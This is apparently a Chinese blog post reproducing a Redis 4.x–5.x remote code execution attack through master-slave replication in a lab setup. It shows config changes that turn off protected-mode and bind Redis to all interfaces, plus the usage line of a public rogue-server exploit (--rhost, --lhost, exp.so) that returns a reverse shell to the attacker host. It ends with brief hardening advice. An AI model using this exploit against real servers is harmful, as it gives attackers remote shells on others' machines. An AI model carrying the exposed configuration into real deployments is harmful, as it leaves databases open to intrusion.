• 漏洞复现之Redis-rce


    通过主从复制 GetShell 

    Redis主从复制

      Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

    Redis模块

      在了解了主从同步之后,我们还需要对redis的模块有所了解。

    在Redis 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

      由此可知,此方式的利用范围。

      Redis 4.x-Redis 5.x

      靶机:ubuntu 18.04.1   ip:192.168.112.132

      攻击机:kali   ip:192.168.112.133

    一、环境搭建。
      1)wget http://download.redis.io/releases/redis-5.0.0.tar.gz
      tar -xvzf redis-5.0.0.tar.gz
      cd redis-5.0.0
      make


      2)不同机器上需更改redis.conf配置文件
      protected-mode yes 改为
      protected-mode no

      #关闭redis保护模式

      bind 127.0.0.1 改为

      bind 0.0.0.0  

      #注意:bind的意思不是绑定外部服务器的IP,而是绑定本机可以接受连接的网卡地址,默认是只能本地访问,改动后服务器上任意网卡地址可访问。 

       

      

      3)靶机启动服务

      cd src

      ./redis-server ../redis.conf
      #加载指定配置

    二、exp准备

      https://github.com/n0b0dyCN/redis-rogue-server

      用法:python3 redis-rogue-server.py --rhost=192.168.112.132 --lhost=192.168.112.133 --exp=exp.so

    三、exploit

      弹shell至本机的时候,需输入攻击机ip,输入监听端口。

      监听,成功。

     

       

    修复建议:

        由于该漏洞利用前提是获取redis访问权限,也就是基于redis未授权访问。因此可考虑把产生问题的家伙解决掉。

        redis加固:https://www.cnblogs.com/iamver/p/7985556.html

       

    参考链接:

        https://www.anquanke.com/post/id/181734

        https://lorexxar.cn/2019/07/10/redis-5-x-rce/

    漏洞原理:

        https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

  • 相关阅读:
    js没有重载
    零基础学习hadoop到上手工作线路指导(初级篇)
    hadoop1.x和2.x的一些主要区别
    LIBCURL教程
    钩子函数大全(2)
    Visual Studio快捷键
    Linux上搭建Hadoop2.6.3集群以及WIN7通过Eclipse开发MapReduce的demo
    Hadoop2.7.1安装与配置
    超详细单机版搭建hadoop环境图文解析
    Windows下运行Hadoop
  • 原文地址:https://www.cnblogs.com/iamver/p/11171922.html
Copyright © 2020-2023  润新知